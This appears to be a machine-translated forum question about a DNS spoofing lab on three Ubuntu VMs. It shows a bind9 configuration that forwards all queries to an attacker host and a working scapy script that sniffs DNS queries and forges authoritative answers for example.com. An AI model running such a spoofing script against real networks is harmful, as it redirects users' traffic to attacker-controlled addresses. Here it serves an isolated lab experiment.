从绑定 DNS 服务器接收答案时出现问题

从绑定 DNS 服务器接收答案时出现问题

作为实验的一部分,我在 3 个 Ubuntu 机器上运行创造环境。
称他们为客户端、服务器和攻击者。
客户端连接到服务器。 (分别为 10.1.1.2 和 10.1.1.3)
服务器连接到攻击者。 (分别为10.1.2.3和10.1.2.2)
服务器运行bind9服务器,旨在模拟将任何查询转发给攻击者的递归解析器,该攻击者作为MITM运行。
在服务器中,我已经编辑了命名.conf.选项:

options {
    directory "/var/cache/bind";
    dump-file "/var/cache/bind/dump.db";

    recursion yes;
    allow-recursion { any; };
    allow-query { any; };
    allow-query-cache { any; };

    forwarders { 10.1.2.2; };
    forward only;

    dnssec-validation no;

    auth-nxdomain no;
    listen-on-v6 { any; };
}

在客户端中,我编辑了解析配置文件

nameserver 10.1.1.3
nameserver 192.168.252.1
search create.iucc.ac.il

第二个 ns 是创建环境 ns,它没有连接到互联网,只回答“create.iucc.ac.il”的查询。
在攻击者中,我运行以下 scapy 脚本:

 from scapy.all import *
    
    def callback(pkt):
        if (DNS in pkt and pkt[DNS].opcode == 0 and pkt[DNS].ancount == 0):
            if 'example.com' in str(pkt['DNS Question Record'].qname):
                spfResp = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
                UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
                DNS(id=pkt[DNS].id, qr=1, aa=1,\
                qd=pkt[DNS].qd,an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=1600, rdata="6.6.6.6"))
                send(spfResp, verbose=1)
                return 'Spoofed DNS Response Sent'
    
    sniff(filter="dst port 53", prn=callback)

它应该返回有关“example.com”的查询的答案。
但是,当我使用

dig example.com

在客户端中,我收到来自 10.1.1.3 的 SERVFAIL。 scapy 脚本确实将响应发送到服务器。客户端收到答案(与脚本预期相同)的唯一一次是当我发送垃圾邮件“dig example.com”命令时。
为什么它不起作用?我的配置正确吗?

相关内容